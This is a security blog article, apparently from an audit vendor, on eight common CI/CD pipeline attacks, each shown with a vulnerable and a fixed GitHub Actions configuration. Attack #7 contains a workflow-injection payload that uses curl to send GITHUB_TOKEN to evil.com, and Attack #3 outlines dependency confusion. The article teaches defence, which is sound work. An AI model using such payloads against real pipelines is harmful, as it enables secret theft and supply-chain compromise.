CI/CD Pipeline Security: 8 Attacks We See in Every Audit

SecureCodeReviews Team
January 22, 2025
15 min read
348 words
Share

Why CI/CD Pipelines Are High-Value Targets

Your CI/CD pipeline is arguably the most privileged system in your organization. It has:

  • ✅ Access to source code (all repositories)
  • ✅ Production deployment credentials
  • ✅ Cloud provider IAM roles
  • ✅ Database connection strings
  • ✅ API keys and secrets
  • ✅ Code signing certificates

A compromised pipeline means an attacker can inject code into every build, steal every secret, and deploy malicious code to production — automatically.

Real-world example: The SolarWinds SUNBURST attack compromised CI/CD to inject malicious code into software updates, affecting 18,000+ organizations including U.S. government agencies.


Attack #1: Secrets in Environment Variables (Plain Text)

❌ Vulnerable Pipeline

# .github/workflows/deploy.yml
name: Deploy
on: push
jobs:
  deploy:
    runs-on: ubuntu-latest
    env:
      AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE    # Hardcoded!
      AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI...     # In plain text!
      DATABASE_URL: postgresql://admin:password@prod-db:5432/app
    steps:
      - run: ./deploy.sh

Anyone with repo read access sees these credentials. Fork PRs can exfiltrate them.

✅ Fix: Use Secrets Manager

# .github/workflows/deploy.yml
name: Deploy
on:
  push:
    branches: [main]  # Only on main, not PRs
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production  # Requires approval
    permissions:
      id-token: write        # OIDC, no static keys
    steps:
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::role/deploy
          aws-region: us-east-1
      - run: ./deploy.sh

Attack #2: Poisoned Pull Request (PR)

An attacker forks your repo, modifies the CI config, and opens a PR that runs their code in your pipeline.

❌ Vulnerable Workflow

on:
  pull_request:     # Runs on ALL PR types
    types: [opened, synchronize]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm test  # Attacker modifies package.json scripts

✅ Fix: Require Approval for External PRs

on:
  pull_request_target:   # Runs in context of base, not fork
    types: [opened, synchronize]
jobs:
  test:
    runs-on: ubuntu-latest
    # Only run if author is a collaborator
    if: github.event.pull_request.author_association == 'COLLABORATOR' ||
        github.event.pull_request.author_association == 'MEMBER'
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}

Attack #3: Dependency Confusion / Typosquatting

# Attacker publishes a malicious package with your internal package name
npm publish @yourcompany/internal-utils  # Public npm
# Your CI pipeline installs from public npm instead of private registry

✅ Fix: Pin Registries + Lock Files

# .npmrc
@yourcompany:registry=https://npm.pkg.github.com/
//npm.pkg.github.com/:_authToken=${NPM_TOKEN}
# CI step: verify lock file integrity
- name: Verify dependencies
  run: |
    npm ci --ignore-scripts  # Install from lock file only
    npm audit --audit-level=high

Attack #4: Compromised GitHub Actions / Third-Party Steps

# ❌ Using mutable tag — author can push malicious update
- uses: some-user/cool-action@main

# ✅ Pin to specific commit SHA
- uses: some-user/cool-action@a1b2c3d4e5f6

Check Your Actions

# Find all unpinned actions in your workflows
grep -r "uses:" .github/workflows/ | grep -v "@[a-f0-9]\{40\}" | grep -v "@v[0-9]"

Attack #5: Build Output Tampering

If build artifacts aren't signed or verified, an attacker with CI access can swap the artifact.

✅ Fix: Sign and Verify Artifacts

# Sign container images with cosign
- name: Sign image
  run: |
    cosign sign --key cosign.key \
      ${{ env.REGISTRY }}/${{ env.IMAGE }}@${{ steps.build.outputs.digest }}

# Verify in deployment
- name: Verify image
  run: |
    cosign verify --key cosign.pub \
      ${{ env.REGISTRY }}/${{ env.IMAGE }}@${{ env.DIGEST }}

Attack #6: Self-Hosted Runner Escape

Self-hosted runners share the host OS. One malicious job can access artifacts from other jobs.

✅ Fix: Ephemeral Runners

# Use ephemeral runners that are destroyed after each job
runs-on: [self-hosted, ephemeral]

# Or better: use GitHub-hosted runners for public repos
runs-on: ubuntu-latest

Attack #7: Workflow Injection via Untrusted Input

# ❌ PR title injected into shell command
- name: Check PR
  run: echo "PR title: ${{ github.event.pull_request.title }}"
# Attacker sets PR title to: "; curl http://evil.com/steal?token=$GITHUB_TOKEN"

# ✅ Fix: Use environment variable
- name: Check PR
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "PR title: $PR_TITLE"

Attack #8: OIDC Token Scope Too Broad

# ❌ Any branch can assume production role
- uses: aws-actions/configure-aws-credentials@v4
  with:
    role-to-assume: arn:aws:iam::role/admin  # Too much access!

# ✅ Fix: Restrict role trust policy
{
  "Condition": {
    "StringEquals": {
      "token.actions.githubusercontent.com:sub": "repo:myorg/myrepo:ref:refs/heads/main"
    }
  }
}

CI/CD Security Checklist

ControlPriorityTool
No hardcoded secretsCriticalGitLeaks, TruffleHog
Pin action versions to SHAHighRenovate, Dependabot
Restrict PR workflow triggersCriticalGitHub settings
Use OIDC instead of static keysHighAWS/GCP/Azure OIDC
Sign build artifactsHighCosign, Sigstore
Ephemeral/isolated runnersMediumGitHub-hosted, Firecracker
Dependency verificationHighnpm audit, pip-audit
Audit logging for pipelineMediumGitHub audit log API

Need a CI/CD Security Review?

We audit GitHub Actions, GitLab CI, Jenkins, and Azure DevOps pipelines. Request a free review →


Published by the SecureCodeReviews.com team — helping teams secure their software supply chains.

Editorial standards

Published by SecureCodeReviews

This article is part of our original AI security and cybersecurity content library. We show publish and update dates, keep company and policy pages public, and update important guidance when material changes affect readers.

Named author: SecureCodeReviews Team
Published: Jan 22, 2025
Update status: current publication version

Questions or corrections?

Review our editorial standards, learn more about the company, or contact us if a page needs clarification.

AI Security Audit

Planning an AI feature launch or security review?

We assess prompt injection paths, data leakage, tool use, access control, and unsafe AI workflows before they become production problems.

Manual review for agent, prompt, and retrieval attack paths
Actionable remediation guidance for your AI stack
Coverage for LLM apps, MCP integrations, and internal AI tools

Talk to SecureCodeReviews

Get a scoped review path fast

Manual review
Actionable fixes
Fast turnaround
Security-focused

Advertisement